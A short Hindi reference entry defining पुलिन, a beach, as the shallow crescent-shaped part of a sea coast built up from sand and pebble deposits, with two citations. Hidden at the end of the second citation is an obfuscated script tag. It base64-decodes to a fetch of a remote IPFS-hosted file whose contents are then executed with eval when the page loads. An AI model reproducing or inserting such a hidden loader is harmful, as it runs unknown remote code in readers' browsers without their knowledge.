पुलिन

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पुलिन सागरीय तट का उथला भाग कहलाता है। इसकी आकृति अर्द्धचंद्राकार होती है। सागरीय तटों पर अवसाद रेत[1] जमा होते रहने से पुलिन का निर्माण होता है।[2]


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शोध

टीका टिप्पणी और संदर्भ

  1. रेत और कंकड़ों के जमाव
  2. भौगोलिक शब्दकोश |लेखक: आर. पी. चतुर्वेदी |प्रकाशक: रावत पब्लिकेशन्स, जयपुर एवं नई दिल्ली |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 41 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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